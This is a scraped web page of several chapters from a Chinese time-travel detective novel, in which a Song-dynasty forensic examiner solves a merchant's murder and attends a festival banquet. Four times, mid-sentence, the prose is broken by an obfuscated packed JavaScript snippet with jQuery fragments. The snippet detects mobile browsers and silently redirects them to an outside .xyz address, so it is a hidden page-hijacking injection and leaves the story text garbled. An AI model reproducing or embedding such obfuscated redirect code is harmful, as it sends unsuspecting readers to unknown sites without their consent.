浑身都在传递钝痛,已经不知道具体从哪个部位开始。
他伸出手,又无力垂落在潮湿坚硬的表面,那是一堵石砌的墙壁,带着弧度。
满眼都是黑暗,只能靠触摸来确定自己的位置。这应该是一口废弃的枯井。直径刚好是两臂张开那么大。
男人心想,他可能摔得头破血流。鬼知道这枯井里斜插着什么东西,或许已经贯穿了他的身体。
他闻到了令人作呕的臭味,又呛得猛咳了几声。
而更大的危机是,雨还在继续,冰雹也夹在其中,落在身上生疼。夜间低温,整个人已经冻得麻木。
枯井已经灌注了很多雨水,在他刚醒来的时候,雨水到他的腰间,现在已经快要没过胸口。
胸腔的压力越来越大,他的心跳越快,呼吸越觉困难。
03
强烈的求生欲让男人的双手不停在石壁上抠动,顾不得手指磨破的疼痛,他必须要摸到几处凹陷,好借力爬出去。
他一寸寸摸排,越来越焦躁,从大声呼救变成大骂这狗老天。
终于,他的左手摸到了一处凹凸不平的地方,很快右手靠上一点的位置也摸到了一处。
这两处凹面恰到好处的刻意,仿佛是有人曾为了爬出而专门敲打出的。
男
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16058479|174233||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
人紧紧扒住凹面,想要发力引体向上,哪怕能让胸口多浮出水面一些,多喘几口大气。
但这时他才发现,他的左腿被什么东西卡住,完全动弹不得。
04
他发疯一样扭动,要挣扎出来。
双手伸进水中,顺着大腿往下探,摸到了困住他的东西。
有点软,还有点黏,手指一捏就捏掉一块滑滑腻腻的东西,很臭,想要吐。
男人使劲抬腿,那东西也跟着松动了一点,但仍然很沉的卡在他小腿处。
男人躬身试图凑近看清到底是什么,刚好一道闪电劈过,生生把黑夜撕开了一道闪亮的口子。
一张灰白腐败的烂脸正面对着男人,口鼻早已溃烂腐化,眼睑消失,眼珠凸出,两只皮肉坏烂露出白骨的手臂环成一圈,正死死抱住男人的腿。
男人的心跳达到了阙值,绝望的嚎叫被暴雨碾压在井底,最终也没能穿透石壁。
雨声如瀑,没人听到来自地狱的嚎叫。
50.01 学好数理化,走遍天下都不怕
01
汴京城西出万胜门再向西约300米有一座桥,叫“横桥”,是汴河流经汴京城14座桥的第一座。横桥再往西200米就是汴河入口。
这里是汴河繁华贸易港的开始,大大小小的外来商船由此进入京城,川流不息,日夜不停。
但往西南再走个两三百米,则是一片人烟稀少的郊野荒地。
这里没有河道,只有汴河分叉出来的几个水洼,通行不了大船,旱天时连小排筏也难以划行。由于常年人烟罕至,这里野草疯长,能有大半个人高。
两个流民逃荒至汴京,怕被守城门的军爷盘查于是不走寻常路,想从草堆里潜行到河边,偷偷游进城。
行至荒草地时,其中一个人腹痛想要大解,便一头扎进了半人高的草地里。片刻后,草丛里传来一声惊恐的嚎叫。
02
距离案发地还有好一段距离的时候,宋连就叫停了所有人。
已是农历十月天(公历11月),白天最高气温也不过10度左右,夜间更是接近于冰点,尸体腐败进程缓慢,味道还不是很大。要不是那个大解的流民不小心踩到,恐怕不知什么时候才会被发现。
寒风卷着水汽,像冰针一样扎在脸上身上。
宋连区区八品,俸禄少的可怜,甲丁更是连编制都没有,吃饭都要可丁可卯计算着,更别说添衣了。
俩人各自紧了紧领口,蜷得跟两团虾球似的,看着草丛中趴伏着的尸体。
“宋检法,可有什么发现?”
宋连摇头:“线索不多。”
甲丁“哦”了一声,掏出了小本本准备速记。
他跟着宋连有些时日了,对宋连的办案习惯不能说完全掌握,但也算有了些默契。当宋连说“线索不多”的时候,就表示他已经大致摸到了死者身份和凶手作案时间方式,就差报上姓名住址和联系方式了。
果然,宋连转了一圈回到尸体旁边,不过这次他没有“我说你记”,而是问甲丁:“你从尸体表面,能看出些什么?”
甲丁趴在尸体上方仔细观察:“尸体表面有很多伤口,有的伤口有血,有的没有。”
宋连:“再看看呢?”
甲丁又往尸体跟前凑了凑:“伤口形态差别很大。有些伤口还有明显的……齿痕?”
“不错,观察很仔细,”宋连让甲丁准备好尸账,自己则褪下了尸体的衣物。
“死者前襟领口处有刺破口一处,长7cm,宽3cm;暴露出的颈椎椎体有切划痕;这里、还有这里,你在尸账上画出来,有多处齿痕,疑似野生动物啃咬所致。”
“这里,右颈动脉、气管、食道离断,但创口呈不规则撕裂伤。再看这里,”宋连指向左侧腹部,“这里有一处刺创,创口深入腹腔,一直刺破了肝脏右叶,创口形状与前襟那处相似。但这里,”他的手又指向下肢部位,“右脚踝关节缺失,大腿多处撕咬痕,创伤部位无出血。”
宋连指了指尸账:“凶手用匕首刺破右颈动脉、肝脏造成失血性休克死亡,然后被抛尸到这里。”
甲丁一字一句认真记录,突然抬头,疑惑道:“抛尸?他不是在这里被杀?”
03
宋连绕过尸体,在距离尸体右脚一米多的位置指出一处凝固的血渍,面积大约20x15cm,在这处血迹40cm外又有一滩干涸血迹,这处血迹旁,有两绺荒草被碾压倒在地上,陷入土地中,压痕大约十公分宽,是两道很清晰的车辙印。四周还有偶蹄类动物的脚印,印痕也覆盖了一层霜,一直延伸向他们来时的路。
“在两处血迹连线上的草丛有明显压平的痕迹,间隔与死者两脚等宽,现场并没有打斗的痕迹。结合尸体衣服上有大量尘土的拖擦拽痕,可以判断尸体是在死后被搬运到这里。”
宋连起身拍打双手:“现在我们知道了他不是死在这里,还知道了他是怎么死的。只剩一个问题:他什么时候死的。”
甲丁摇头:“天这么冷,尸体腐败得很慢,很难判断他死于何时……”
“那可未必,”宋连指了指尸体后背和腿肚的暗紫色:“尸斑沉积在尸体背部和小腿部不被挤压的地方,指压不褪色。”
“我知道!”甲丁已经学会抢答了:“血液因重力沉积到身体下方,红……红色细泡破裂,血鸡蛋白浸染,说明尸体死亡超过了10小时!”
宋连表情古怪:“细泡是什么?鸡蛋白又是什么?”他琢磨了一下,甲丁想说的应该是细胞和血红蛋白。
蒜鸟蒜鸟。因为不能透露太多超前的信息,绝大多数时候宋连对他那些现代名词都不予解释,问就是不重要。在这种情况下,甲丁能记得关键信息并学以致用已经非常不容易了。
不过他还是犯了一个很大的疏漏:“10小时是指在常温下。但近十天的温度都很低,前两天还下雨结霜了。低温延缓了尸斑形成的时间,达到这个程度说明死亡时间至少过去一天一夜了。”
宋连又轻轻抬了抬死者的下颌,纹丝不动。然后是脖颈,同样僵硬如钢板。接着,他试探性地活动死者的手指、手腕关节,再到肘部和膝部。
“全身关节都僵硬了,他现在正处于‘僵硬顶峰’且没有丝毫缓解的迹象,结合温度,死亡时间很可能超过2天到3天。”
“再看这些被压倒的荒草,”宋连蹲下来,手指在尸体边缘指了一圈:“周围的地面上都覆上了白霜,但被尸体压着的地面虽然湿润,却并没有结霜,最近一次下霜是什么时候?”
甲丁回忆片刻:“前天了吧!”
“尸体趴伏,背部落了一层霜,但身下的土地上没有,说明他死于霜降之前。现在,死亡时间已经推到了三天前了。”
但这还没完。
04
“凶手驾车弃尸,这车辙这么深,应该是在下过雨的泥地留下的。最近一次下雨是什么时候?”
甲丁再次回忆:“五日前?”他双眼一亮:“所以他是五日前被害的!”
“没错!”宋连拿起死者的衣服细看:“是绸缎棉袍,有元宝暗纹,像是个行商的人,”他在棉袍内袋摸索一番,摸出一只雕刻精美的铜牌,一面刻着一艘大帆船行驶在海浪上,另一面则刻着“敕令龙王”、“水仙尊王”字样。
“是个船商”,甲丁说,“听说南方的船商出海时会随身带个这样的平安符,祈求风平浪静,一帆风顺。”
“结果他并没有死于风浪,却死在了陆地。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16065144|174233||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”宋连扼腕。“现在我们知道了他是什么人,在什么时间死于什么原因,接下来——”
“接下来要解决谁杀了他。”甲丁一席话,胜听一席话。
“人的血液是有限的,流失自然也是有时间限制的。我们根据血迹滴落的大小和频率,就能大致推算出他死亡到被抛尸中间的时间,再根据……看蹄印应该是驴车,根据驴车的行进速度,再估算雨天行路的速度会变慢,就可以推算出第一案发现场到这里的距离范围。”
甲丁感到自己的脑子正在离家出走,但他不敢问。很显然这么一大段莫名其妙的话术不可能是他的同事宋检法说出的,但那只寄居的鬼已经警告过多次:别问,问就是不重要。
他噎了半天终于还是忍住了,只是用无比清澈的眼神望向宋连。
宋连贴心地说:“我已经算完了,两公里以内范围内找吧。”
小学数学老师诚不我欺,学好数理化,走遍天下都不怕!穿越了都不怕!
05
根据宋连划定的搜索范围,各厢坊军巡配合府衙一同展开调查,很快就有了线索。
为了缓解大量流民涌入东京城,各厢坊辖区对于外来人员要进行登记。
谁家要是有外地亲朋好友来探访,都要先去街道办报备,并且要在自家大门贴告示:某某几人人从哪里来,在我家住多久。
城西右厢宣宁坊街道办曾在十天前登记过一个从南方来的商人,事由是探访宣宁坊年大山家。而年大山在四日前去街道办解了登记,称商人已经回家去了。
时间对得上,年大山嫌疑很大。于是宋连带着甲丁和几个卒吏亲自上门盘查。
年大山自诩商人,但其实并不涉及买卖交易,而是跑船搞运输的,就连船也是他租的。
年大山夫妇称那商人是他们合作多年的雇主,是丽水人。丽水商人经常从南方发货到京城,雇的都是他家的货船。这次来汴京探访,是想和他们夫妇两签订一个长期合作的契约,谈个更优惠的合作价。两人表示与商人谈得十分顺畅,还拿出了双方画押的契约。
夫妇坚称商人在他家住了四日,满意离开。
宋连问:“商人从老家到汴京路程要好几日,怎么没多留几天四处转转,这么着急就走?”
年大山解释:“行商不易,每天睁眼都在为五斗米发愁,哪儿还有时间游玩!谈了好价格,就得速速回去打点买卖。”
夫妻二人对答如流,神情十分平静,看不出有什么破绽。
宋连环视年家,不算阔绰,但也绝对称得上小康家庭。小四合院工工整整,正房通透明亮,打扫的干干净净,东西厢房似乎空着无人居住。
“那商人朋友住在哪间?”宋连问。
“住西厢房。生意人讲究个紫气东来,要对着东边住嘛。”年夫人说着就打开了西厢房的门,“大人也瞧见了,家中没有雇仆人,里里外外都是我收拾,商人走后我就打扫了一次,再没时间收拾,屋里灰尘多,大人小心着些。”
甲丁跟着年夫人去屋里查看,宋连却转头往东厢房走去。
“大人?!”
甲丁和年大山夫妇同时喊出声,但为时已晚,宋连已经推开了东厢房的大门。
51.02 局长是下属最大的月老
01
年大山夫妇小跑着追到东厢房的时候,宋连已经坐在案桌边。
他伸出两指在桌边扫了一下,没什么灰尘。
相比西厢房的整齐清冷,东厢房的陈设要丰富一点,也更有“人气”一些:地上铺了氍毹,墙上整齐挂了一整排九联山水画,一面尺寸很不合适的大柜子遮了四分之一的窗棂。
“这东厢房设施更齐全一些,怎么没让客人住这里?”
年大山夫妇有些不高兴:“刚不是和大人说过吗,商人讲究多,门冲东开,紫气东来。”
“夫人平日忙碌,没空打扫西厢房,倒是对这间屋子很上心,打扫得一尘不染。”
年夫人眼珠滴溜溜转,说:“屋里铺了氍毹,落了土可不好打扫,还容易生虫,需得勤着点打理。”
宋连俯身摸了两把氍毹,看了眼柜子和桌脚,问:“铺这氍毹可费了不少力气吧!”
年夫人:“我们夫妇偶然突发奇想,想学着文人雅士追求一番雅致。谁承想这读书人的陈设这么繁琐,我俩也是后悔不迭。”
宋连:“这氍毹卷起来不但大还很重,想必也是从这附近的店铺定的。你说我如果现在去打听打听,会不会有店家告诉我,这氍毹不过是几天前才买来的呢?”
02
宋连这么一说,年大山的表情显然触动了一下,夫妇二人再也没了刚开始的冷静淡定,额头上隐约都有了细密的汗珠。
“你自己交待,或者我们花点时间去询问。最终都是要掀开这氍毹的,可审案的时候,结果可就是两回事了。坦白从宽,抗拒从严嘛!”
“意思就是你们自己说实话,还有轻判的可能;要我们查出来,得严判!”甲丁同步翻译。
年大山夫妇再也绷不住,紧张的两手发抖。
正在两方沉默对峙的时候,从大门外跑进来一个人,因为情绪太激动,连打了好几个趔趄,几乎是连滚带爬着来到宋连面前。
宋连不认识这个人,但年大山夫妇见到他却立刻激动了起来:“你来作甚!不是让你——”
“大人!小民要告发!告发年大山夫妇谋财害命,杀人灭口!!!”
03
年大山夫妇的确与那商人合作过,商人是真正的船主,一直在南方一带跑生意。但汴京居住着成百上千的皇亲国戚、达官贵人,消费力更高,于是商人便想拓展汴京市场。
年大山夫妇谎称自己名下有店铺数十家,在汴京生意做得风生水起,能帮商人打开汴京城的局面。
商人也没有马上相信,而是浅浅地合作了一把作为尝试。他将货物运进汴京,交由年大山夫妇自销与分销。货品走得确实很快,首批货物的钱款很快就交到了商人手中。
商人这才放松了警惕,与年大山夫妇有了更大的贸易往来。
于是年大山夫妇便越发肆无忌惮偷窃商人的货品。
船到京城,揩出一些货品,通过一些地下渠道倒手卖掉,没有成本,全是利润。
他们胆子越来越大,偷出的货品也越来越多,终于被买家发现了“缺斤短两”,一纸信函投诉到商人手中,他这才知道自己的货物被这奸商夫妇掠去了不知多少。
商人此次前来汴京,是要抓现行当面对峙,却没想到这对末路狂花已是丧心病狂,竟然在家中就将那商人连捅数刀杀害。
而这一幕刚好被邻居撞见。
商人毕竟是来这里“旅行”的陌生人,即便失踪了也可以说他回家去了。但邻居街坊一旦消失,很快就会引起更多人的注意。
因此邻居杀不得,只能以一大笔封口费收买。
04
当晚刚下过一场大雨,夜间路上没有行人,夫妇二人将尸体运至河边丢弃,并没有被人发现。
第二日,他们先是去街道报备,说商人已经离开京城,紧接着去了专营铺子订了一大块氍毹。
本以为这件事就这样掩盖过去了,没想到提刑司这么快就追查到了他家。
更没想到的是,那邻居一看,开封府衙吏和一群军爷巡检浩浩荡荡包围了年大山家,就觉得事情败露了。
他在门外听了好一阵,听到宋连陈述案发过程,就像他亲眼所见一样。他以为事情完全败露,才在宋连说主
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16070504|174233||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
动投案和被动判决不一样的时候,选择自首告发。
有了人证,衙吏才好掀了氍毹,摘了挂画,挪开了柜子。不出所料地发现了大片清理不掉的血迹。
人证物证面前,年大山夫妇只得伏法。
05
从发现尸体到案件审理提交,前后还不到三天时间。傅大人要为宋连报功邀赏,被宋连谢绝了。
“案子这么快告破,是我运气好罢了。承蒙傅大人抬爱,要说行赏,我倒有个不情之请……”
傅濂对宋连的职场觉悟十分满意,这个不情之请他自然不会拒绝,但也不能轻易答应。毕竟小宋同志自被夺舍之后就太过异常,万一提出什么疯批的要求自己也不好收场。
傅大人:“说来听听。”
宋连:“过两日就是下元节,听说能多放几天假,这个……休沐期间,能不能不要排我值班?”
宋连自从穿到北宋,可算是见识到了什么叫“松弛”:虽然要早起,但中午一过就能早退;虽然一个月只有一两天休息,但一年有一半时间都是节假日!
就这种社畜生活,当一辈子牛马他也心甘情愿了!
但节假日虽然丰满,但他的职务却很骨感。
法医这个行当,从古至今它就没有清闲的时候!凶手作案的时候也不会看看日子,谁管你工作日还是节假日。
以至于虽然法定假期很多,但宋连能休的却很少。
还以为是什么惊天动地的请求。傅濂挥挥手:“这半年确实辛劳,恐怕耽误了你与家中小娘子的好事!都是我的疏忽!你大可安心,下元节这几日休沐,有案子我也定不会找你!放心和小娘子游乐去吧!”
宋连听完就是一个大写的震惊:“什么?!他……我有娘子了?”
傅濂也是一脸惊讶:“你有没有,你自己不知道?”
宋连:“我,我,我应该……没有……吧?”
傅濂了然:“哦?原来还没有吗?好说好说,我内人有好些闺中密友,她们……”
宋连抽搐嘴角。怎么穿到了一千年前,还能遇到喜欢乱牵红线的月老局长啊!
52.03 茶不苦,心不堵,忍忍再挣两千五
01
农历十月十五下元节,又称“下元水官大帝诞辰”。
道教认为天、地、水三官分别掌管赐福、赦罪、解厄。水官的全称是“下元三品五炁解厄水官洞阴大帝”,他手握凡人善恶的簿籍,在这一天会下凡巡视,为人消除灾厄,解脱困顿。
下元节的一切活动都围绕着“祈求水神,解除厄运”展开,是人民群众祈福消灾、祭祀水神、祛病除厄的日子。因此汴京城中的道观、河沿岸边在这天十分拥挤。
尽管这是了解当下风俗习惯的好机会,但宋连是不会去凑这个热闹的。更何况他还要帮甲丁收拾屋子。
这话还要从他们“庆祝”烟花女鬼案结案那次酒局说起。
当晚苏家兄弟、宋连甲丁统统喝到断片,横七竖八躺在院子里给蚊子提供了一宿贴秋膘的机会。
第二日宋连昏沉醒来,本想抱怨李士卿丝毫没有人道主义精神,好歹给他们盖个被单也行,也不至于冻得直打喷嚏。结果李士卿叫住甲丁,问他愿不愿意来李宅居住。
甲丁回味半天,总觉得自己还在梦中。这等好事,现实里不会发生在他身上。
宋连则警铃大作,要知道这只一毛不拔的铁公鸡,突然主动邀请陌生人住进来,不是准备开口要钱就是另有所图!
“我这宅子很大,扫洒十分辛苦,我又不愿陌生人靠近这里。你住进来之后,负责日常扫洒伙食即可抵了房钱。”李士卿算了算账,又对宋连说:“但你的俸禄还是要交租金的。”
就这样,不知道李士卿突然抽了什么风,总之甲丁也算是有了正经住所,成为深宅大院里第三名住客。
甲丁干活勤快又利索,一己之力将宅子打理的井井有条。但适逢休沐,宋连也在家,若只看着甲丁忙来忙去他也是有点不好意思的。
只是两人还没开始扫除,就被李士卿叫停了:“你们要是没有其他安排,就随我一同赴宴吧!”
02
与下元节虔诚、内省、洗涤心灵的气氛不同,汴京巨贾王彦之的宅邸可谓热闹非凡。
他在汴京城里具体有多少处房产,他自己也未必数得清楚。今日设宴的宅子是他在内城西侧,紧挨着西水门的一处大院子。
地处寸土寸金的汴京CBD内城,这宅子恐怕远不是他最奢华、最阔气的家,但王彦之每年都会在这里度过下元节,原因有二:其一,对面就是延庆观——汴京内城数一数二的大型道观。其二,宅邸紧挨汴河。简直一网打尽下元节主打的两处网红景点。
原本以为李士卿的宅子已经够豪华,结果与王彦之的相比简直堪称陋室。王宅大门正对丁字街,仿佛这条大街是专门为了王宅才开到了这里。单檐悬山顶三开间,台基中间作“断砌造”,方便双开门高大马车驶进驶出。
不过客人们的豪车是不必开进去的,门口有专门的停车棚,专供牛马驴卸车吃喝休息。
宋连三人的牛牛专车就停在这里,专车师傅少收了几文钱,嘱咐甲丁席间要是听到有趣的官贵八卦,一定记得告诉他。
入门即是庭院,中竖影壁,但绕过影壁却不见大堂,而是假山池塘、石路亭台。另有一座十分宽敞的廊道直通后方。此廊道并非供人步行赏景,而是轿夫将人从大门抬至大堂的专用道。
宋连在轿子里坐立难安了小十分钟才到达主堂。高大的台基中央开出一间过堂,两边都有楼梯,可以登上楼阁。
王彦之的宴席设在四层,三人到达的时候,宴会厅里已经坐了好几圈男男女女。从衣着打扮来看,个个非富即贵。
主坐上坐着个有些肥硕的老头。他的太师椅比普通的要宽出一半,应该是私人定制。即便如此,也只是堪堪盛得下他的身躯,大臀两侧还是从椅背的隔栏里挤出两股肉。他的肚子看上去马上就要顶着他的下巴,□□一样厚实的下巴一层层堆叠着。由于过于肥胖,心肺及气管肯定不太健康,呼吸的时候喉咙里发出咕噜咕噜的杂音。
就是这样一个油腻的老男人,产业却遍及汴京城各行各业,地产、酒店、金融、娱乐……巧了,宋连知道的上一个产业这么全面的大佬也姓王,动不动就鼓励大家设定一个亿的小目标。
但论体型和排场,感觉那个王总见到这个王总,简直是小王见大王。
03
李士卿他们算是压轴到场,三人进场后,主人说一句“到齐了”,众宾客才落座。
难怪李士卿出门时磨磨唧唧,故意拖延时间,实在是机智!宋连舒心地偷偷吹了声口哨。
待大家都入座,王彦之便开始一一介绍。有当官的,有做生意的,听起来都有些名头。但宋连和甲丁完全不关心这些人是谁,俩人的注意力都在桌上摆盘极好看、味道极鲜香的食物上了。
可惜还没到开席的时间,这些菜品都是摆设,只能看不能吃,等会儿还得被端下去。
万恶的资本家!暴殄天物!
宾客介绍转了一圈终于轮到李士卿,王彦之用上了世界上最甜的花言巧语,说的那叫一个天花乱坠。就好像李士卿此刻抬手说一声“变”,宇宙都能重新大爆炸一次。
宋连在一旁都要听不下去,抽搐着嘴角问甲丁:“你知道这叫什么吗?”
甲丁:“拍马屁呗!”
宋连:“粗俗!要用文雅的表达方式:这叫吹爆彩虹屁!”
甲丁一脸迷茫:“吹屁?这难道不是更粗俗?”
吃也吃不成,宋连只能被迫听王总的彩虹屁,原来他是李士卿的“大客户”——时常委托李士卿帮他看风水,卜吉凶。每年那几个神神叨叨的日子,王彦之必会请他的这位“私人法棍”给他在线实时做法,除除晦气,涨涨运气。
只是往年没有这么大阵仗,今年不知是王家那条产业赚了大钱,摆了这么阔绰一席。与其说宴请的都是自家朋友,不如说都是生意上的“可用之材”。他还想让李士卿顺带给几个重要宾客都看上一看。
这些宾客都是李士卿未来的潜在客户,这稳赚不赔的生意他当然不能拒绝。看也不能白看,随便卖卖那些手工折纸也能一夜暴富。
这还不够,放着这么大一桌美食,多两副碗筷而已,不占白不占。
这就是宋连和甲丁为何出现在这里的原因……吧。
04
王总滔滔不绝,宋连昏昏欲睡,他悄摸移动到窗边,卷起棉帘,打开一条窗户缝,外面凉飕飕的空气带这些烟火味钻进来,瞬间醒神不少。
王宅建的高,要不是临着皇宫有限制,恐怕王彦之还想站得更高
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16086746|174233||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
宋连低头就能俯瞰到隔壁的延庆观。道观殿前不知用什么建筑材料,堆建了一座巨大的法坛,下盘基底为圆形,越往上越窄,整个法坛呈圆锥体,两边各有两只梯子,中间竖着一根又粗又高的幡,最上方是一个黄色的流苏伞盖。法坛左右分别还竖着两个幡,顶端有日月和星辰。
法坛前供着一个巨大的牌位,角度原因,宋连看不清牌位上的字,好像是大什么黑。
此时道观里信众云集,他们排着长队,将手里的东西抢着往道士手里塞。
“这叫水官手书,老百姓在纸上写下祈福的内容,交给道观,道士会统一交给‘水官’,‘水官’收到大家的愿望才能降福。”甲丁不知什么时候也跑到窗边,看宋连的表情就知道这个习俗他也忘了。
经甲丁这么一说,宋连才发现几个道士爬上梯子,将新收上来的几袋“手书”从上方灌入法坛。再仔细看,法坛外里面是非常薄的一层棉纱网,用十六根龙骨固定起来,中间则用信众的祈愿纸条填充!
好家伙,这里面得有上万甚至数十万纸团吧!
信众将手书交给道士之后,便走几步到大殿前,请上一根六、七十公分长的大蜡烛或高香,虔诚祭拜,将香烛插入一个二十来平米的巨型香烛炉里。
现在,这个巨大的香烛炉已经查满了香烛,烟雾缭绕,檀香和沉香的味道飘出道观,飘进宋连鼻腔,甚至可以飘满整个汴京。
道士们聚集在法坛四周,开始挥动手中的法器:有的摇铃,有的打钟,有的击磬。剩下的十几个道士则开始吟唱。人声和法器声交杂悠扬,或高亢或低回,再夹杂人群呢喃低于祷告、铜钱投掷的叮咚,倒是合奏出了一曲十分特别的乐曲。
另外几个道士则跟着曲调节奏挥剑或舞动令牌。舞到关键节点时,成百上千的信众呼啦啦跪成一片,面向那个大牌位,两手向天抖动几下,在匍匐下来,额头点地。
宋连好奇问甲丁:“他们拜的那个牌位,到底是什么神?看着也没有水字啊。”
“是大黑天啊!”
宋连吓一跳,回头一看,王彦之不知道什么时候结束演讲,挪到他身后跟他一起欣赏那壮观场面呢。
05
“这位小友,是李公子的朋友?”他笑眯眯看着宋连,“刚从外地而来?”
宋连突然被一只巨型□□问话,一时不知如何回答,支支吾吾半天没说出一个字,还是李士卿帮他解了围:“宋连初来开封府,现在提刑司做检法官。”
“哦!傅濂傅大人那里。”
“正是。”
王彦之那双被肥肉挤压得几乎看不见的眼睛,露出犀利的光,他恍然“啊”了一声:“宋检法,是地渊祠大败罗刹女的那个活阎王?”
“噗呲——”甲丁一口水没咽下去,一半喷了出来,另一半憋得也是很辛苦。
王彦之又看了看甲丁:“想必这位就是那武力神了?”
甲丁一边憋笑一边应承:“正是在下。”
王彦之笑着点头:“没想到今日我这寒舍竟能请来这么多贤能异士,王某实在荣幸之至!”他转身,在宋连看不到的地方收起笑容,从旁边桌上抽了一个湿帕子擦了擦手,嘴唇默声地动了动,说的是“晦气”两个字。
53.04 钱没了可以再挣,但如果良心没了,就会挣得更多
01
丫鬟们排着队端着吃食走进宴会厅,甲丁跃跃欲试,看到盘中装着的东西后又萎靡了下来。“糍粑油糕、芋头红薯!”
宋连不明白,连□□都吃的甲丁怎么突然挑食起来了。
甲丁“啧”了一声:“有时候我真羡慕你什么都不记得了,这是水官贡品,是祭品,不是给你吃的!”
果然,丫鬟们把食盘放在供桌上,拜了拜走了下去。
王彦之喘着粗气挪动到供桌旁,招呼李士卿:“今日请李公子来,就是给大家做法祈福,供台都给你准备好了,来来,开始吧!”
尽管知道李士卿这趟来,一定是有好处的,但听到王彦之这么讲话,宋连还是觉得有些生气。虽然是房东,但同在一个屋檐下,四舍五入算是自己人,看不得他被这么使唤。
万恶的资本家!
相比宋连的义愤填膺,当事人则一脸平静,走到供台前跏趺坐下,摸出事先准备好的造型各异的符纸,闭眼念咒。
众人期待符纸能飞到空中,或幻化成什么祥瑞,但直到李士卿的咒语念完,那几枚符纸仍旧纹丝不动平躺在桌上。
最后是李士卿用蜡烛将它们点燃,烧成灰烬。
太平平无奇了,太不科学了!宋连都有点难以接受。
平日里李士卿骗人时还会变个戏法,让符纸自燃一下啊,呼一下消失啊,今天这么重要的场合,最起码给大家来一场视觉奇观,让那肥□□目瞪狗呆一下也行啊!
02
窗外传来一阵惊呼,宋连循声望去,发现汴河边不知什么时候聚齐了人山人海。
黑丫丫攒动的人群,完全遮挡了河上的桥梁,远看就像人群行走在半空中。河岸边更是拥挤不堪,一眼望过去,密集恐惧症能立刻昏厥。
宋连只觉得今天的消防压力一定无敌巨大,道观的香火,河边的踩踏,随便哪个发生了都是重大灾害。
正这么想着,河水中突然出现了一片烛灯小船,应该只有手掌大小,连成一片,从岸边缓缓飘向河中央。
灯船一波接一波被放入汴河,瞬间的功夫遍覆盖了整条河流,目之所及,皆是星河点点。确实壮观,确实好看。
这时,人群中又爆发出一阵惊呼,接着就发生了小小的骚动。
他们坐在高处,离得较远,也看不清发生了什么。王彦之差使一个下人去打探,不一会儿下人就回来复命。
“大黑天的弟子们在汴河边为众人祈福。”
王彦之一脸不屑:“今日哪个道观不做这事?何故大惊小怪!”
下人又说:“但是……大黑天的弟子们递送给水官的手书,都有了水官的回信!”
03
河边聚集的信众们,向“大黑天”的弟子们供养几十文到几百文不等,就能获得一张专门与水官沟通的信笺。
信众将愿望写在信笺上,折成小船,放入河中,不多时就能看见小船中心逐渐显现出几个字,或短短一句话,这就说明水官收到了祈愿,并给出了答复。
那下人也买了一张信笺,写了一些祈愿文,折船放入水中,果然不久就看到船中央显现出一个“善”字。
王彦之将肥硕的身躯挤进太师椅中,摸了摸七层下巴,说:“据说这大黑天法力深不可测,近年来深得皇后信奉,现下看来,果然有些道行!”
他眼睛滴溜溜一转,看向李士卿:“高人之间总是能惺惺相惜的,李公子可认得这皇后身后的红人?”
宋连想起来了,当初他刚穿越来时,有一种传言说他是司天监秘密打造的一个武器,专门对付司天监政敌——皇后身边的大黑天神。
难怪总觉得这个大黑天听着耳熟。
王彦之想通过李士卿交结新贵的算盘,打得宋连都听的一清二楚。他盯着纸中央淡黄色的字迹,心里叹了口气:北宋的科普工作还是任重而道远啊!
他将信笺揉成一团,随意丢在一边,在众人唏嘘声中高声说:“这有什么稀奇!这种低级的沟通之术,李公子随便教过我一点,我也学到些皮毛。”
“哦?宋检法也懂术法?”
宋连笑盈盈:“略懂、略懂。”
他叫人拿来纸笔,学着李士卿的样子装模作样盘腿坐在供桌前,叮嘱王彦之和一众宾客:自己定力不好,做法时需要绝对安静,请大家不要过来打扰。
然后他嘴里叽里咕噜从唐诗背到宋词再从鲁迅背到朱自清,手里也没闲着,偷偷用毛笔沾了供桌上的米汤,在每张纸上都写了几个吉祥字。
待纸张干的差不多,宋连站起身,对着供桌上水官的牌位鞠了个躬,嘴里念着:“Thank You 够砸一码斯!”
